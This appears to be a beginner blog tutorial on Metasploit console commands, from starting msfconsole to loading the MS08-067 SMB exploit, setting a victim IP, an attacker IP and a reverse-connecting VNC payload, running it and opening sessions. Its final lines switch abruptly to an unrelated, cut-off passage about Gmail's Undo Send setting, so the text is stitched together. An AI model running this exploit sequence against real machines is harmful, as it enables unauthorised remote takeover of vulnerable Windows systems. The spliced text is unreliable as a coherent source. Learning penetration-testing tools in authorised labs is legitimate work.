There are many new user of metasploit (beginner of metasploit) ask use to write a basic introductory article about the basic metasploit command and basic usage of metasploit, however we have shared different advance and mid level metasploit tutorial on backtrack 5 you can learn different commands from these tutorials but here is the list of the best and most common commands that are used in metasploit for different purposes. Later on we will share meterpreter commands as well.
Metasploit is the database of all exploits and a software that contain information about different exploits so here is the basic usage of metasploit, I am using backtrack 5 machine for this tutorial however if you are using other Linux distribution or windows OS than it is fine but the requirement is Metasploit.
Msfconsole
Msfconsole is a console or a command windows of metasploit that will give you the full support of internal and external metasploit commands, there was a web interface of metasploit but now we don't have that option.
So on your terminal type msfconsole to start metasploit console.
root@bt:~# msfconsole
Metasploit is also available on GUI (graphical user interface), if you want to run metasploit GUI than on the terminal type.
root@bt:~# msfgui
Help command of metasploit will give you the basic idea about the usage of metasploit, if you are looking for msfconsole help than from the root windows type
root@bt:~# msfconsole -h
For msfconsole usage you need to be on msfconsole window to get the help.
msf > help
Connect command is nothing but the alternate of telnet and ncat in metasploit, use connect command to connect with the remote and local host on metasploit you can define the IP of the host machine.
msf > connect -s www.metasploit.com 443[*] Connected to www.metasploit.com:443GET / HTTP/1.0
-s → SSL
Ping command of msfconsole is to check the alive host and so on.
msf > ping 192.168.1.45
Show exploits is a command to check all the available exploits on metasploit
msf > show exploits
Show payloads just like show exploits, show payloads will show you all the available payloads on metasploit.
msf > show payloads
Info command will give you more information about any exploits and payloads.
Msf>infomsf>info
Use command will give metasploit an instruction to use a exploit or payload.
msf > use exploit/windows/smb/ms08_067_netapimsf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > show options To show available options
msf exploit(ms08_067_netapi) > set rhost 119.67.45.2 → To set remote IP (victim IP)
msf exploit(ms08_067_netapi) > set lhost 192.168.1.45 → To set local IP (attacker IP)
msf exploit(ms08_067_netapi) > set rport 445 → To set port number of remote host
msf exploit(ms08_067_netapi) > set lport 443 → To set port number of local host
msf exploit(ms08_067_netapi) > set payload windows/vncinject/reverse_tcp_dns → Tp set payload
msf exploit(ms08_067_netapi) > unset rhost → To remove rhost
msf exploit(ms08_067_netapi) > unset lhost → To remove local host
msf exploit(ms08_067_netapi) > exploit → To execute exploit
msf exploit(ms08_067_netapi) > back → To go back on the main window
msf exploit(ms08_067_netapi) > sessions -l → To check any active session
msf exploit(ms08_067_netapi) > sessions -i ID → To go on a active session ID must be numeric number
Since the Undo Send feature is part of Gmail Labs, you’ll have to navigate to the Gmail Labs page to activate it. Load up 
By default, Gmail gives you a 10-second window of time in which you may undo a sent e-mail. You can change that to five, 20 or 30 seconds by going to Settings (in the top right corner of the main Gmail page, right next to the Labs icon) and finding the Undo Send section inside the “General” tab.
